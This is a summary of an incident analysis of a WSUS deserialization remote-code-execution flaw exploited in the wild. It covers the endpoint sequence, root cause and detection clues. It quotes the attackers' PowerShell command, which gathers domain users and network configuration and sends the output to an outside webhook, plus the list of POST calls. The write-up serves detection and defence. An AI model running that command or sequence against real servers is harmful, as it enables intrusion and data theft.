# Exploitation of Windows Server Update Services Remote Code

Unauthenticated deserialization in WSUS AuthorizationCookie let attackers POST crafted requests to exposed 8530/8531 endpoints and run PowerShell, exfiltrating host data.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft WSUS
- Analysis by: Huntress
- Disclosed: 2025-10-24
- CVE: CVE-2025-59287
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-exploitation-of-windows-server-update-services-remote-code-execution-vulnerability
- Tags: area:cloud domain:infra impact:data-leak impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:windows technique:oob-exfil vuln:auth-bypass vuln:deserialization vuln:rce

**Target:** WSUS web services (SimpleAuth/Client/Reporting/ApiRemoting30 ASMX endpoints) on ports 8530/8531
**Root cause:** WSUS deserializes attacker-controlled data from the AuthorizationCookie without validation, allowing arbitrary object deserialization in the update service.
**Steps:**
1. Reach a WSUS instance exposed on 8530/TCP or 8531/TCP.
2. POST to `/SimpleAuthWebService/SimpleAuth.asmx` (get_auth_cookie) and `/ClientWebService/Client.asmx` (get_reporting_cookie) to obtain cookies.
3. POST to `/ReportingWebService/ReportingWebService.asmx` (get_server_id, then send_malicious_event) and `/ApiRemoting30/WebService.asmx` with a crafted AuthorizationCookie carrying the serialized payload.
4. Deserialization spawns `cmd.exe` → `cmd.exe` → `powershell.exe` under `wsusservice.exe` or `w3wp.exe`.
5. PowerShell decodes a base64 payload running `net user /domain; ipconfig /all` and PUTs output to a webhook.site URL via `iwr` or `curl.exe -k`.
**How found:** Huntress detected alerts of cmd.exe/powershell.exe spawned under w3wp.exe and wsusservice.exe, then correlated SoftwareDistribution.log deserialization stack traces and IIS POST logs to the WSUS endpoints.
**Exploitation:** Attacker sends multiple POSTs to WSUS ASMX web services with a malicious AuthorizationCookie, triggering deserialization RCE; the spawned PowerShell enumerates domain users and network config and exfiltrates results to a remote webhook, routed through proxy networks.
**Insight:** WSUS ASMX endpoints (SimpleAuth/Client/Reporting/ApiRemoting30) accept cookies that get deserialized server-side; check SoftwareDistribution.log for DataSet.DeserializeDataSetSchema stack traces as a deserialization tell.

## Proof of concept (copied exactly from the original report)

**PowerShell payload exfiltrating enumeration to webhook**

```
powershell -ec
try{$r= (&{echo https://[REDACTED]:8531; net user /domain; ipconfig /all} |out-string)+ $Error }catch{$_.ToString()} ;$w="http://webhook.site/[REDACTED]";try{iwr -UseBasicParsing -Uri $w -Body $r -Method Put}catch{curl.exe -k $w --data-binary $r}
```

**POST calls to WSUS web services triggering deserialization**

```
POST /ReportingWebService/ReportingWebService.asmx (get_server_id)

POST /SimpleAuthWebService/SimpleAuth.asmx (get_auth_cookie)

POST /ClientWebService/Client.asmx (get_reporting_cookie)

POST /ReportingWebService/ReportingWebService.asmx (send_malicious_event)

POST /ApiRemoting30/WebService.asmx

POST /ReportingWebService/ReportingWebService.asmx - 8530 - <IPv4> Windows-Update-Agent - 200
```